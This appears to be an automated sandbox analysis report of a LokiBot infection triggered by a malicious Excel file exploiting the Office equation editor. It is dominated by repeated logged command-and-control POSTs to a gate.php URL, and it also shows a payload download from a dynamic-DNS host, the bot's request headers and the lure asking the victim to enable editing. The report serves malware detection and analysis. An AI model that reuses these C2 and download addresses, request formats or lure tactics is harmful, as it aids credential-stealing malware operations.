Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00404ED4 recv,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9981CA08.emf

Jump to behavior

Source: global traffic

HTTP traffic detected: GET /secure/svchost.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: chnesstdyqudusisabadassniggainthestfmv.ydns.euConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: chnesstdyqudusisabadassniggainthestfmv.ydns.eu

Source: unknown

HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 176Connection: close

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 21 Dec 2020 07:33:32 GMTContent-Type: text/html; charset=UTF-8Content-Length: 15Connection: closeX-Powered-By: PHP/7.3.24RC1Status: 404 Not FoundData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: vbc.exe, 00000005.00000002.2391453464.000000000049F000.00000040.00000001.sdmp	String found in binary or memory: http://begadi.ga/chud/gate.php
Source: vbc.exe, 00000005.00000002.2391988009.0000000002600000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000005.00000002.2391988009.0000000002600000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: vbc.exe, vbc.exe, 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.ibsensoftware.com/

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: document is protected 16 ~ 17 18 19 20 21 Open the document In If this document was 22 Micr
Source: Screenshot number: 4	Screenshot OCR: protected documents the yellow bar above 25 26 27 28 :: 31 0 0 0 0 0 q 32 " 33 0 0 0 0 0 q

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write
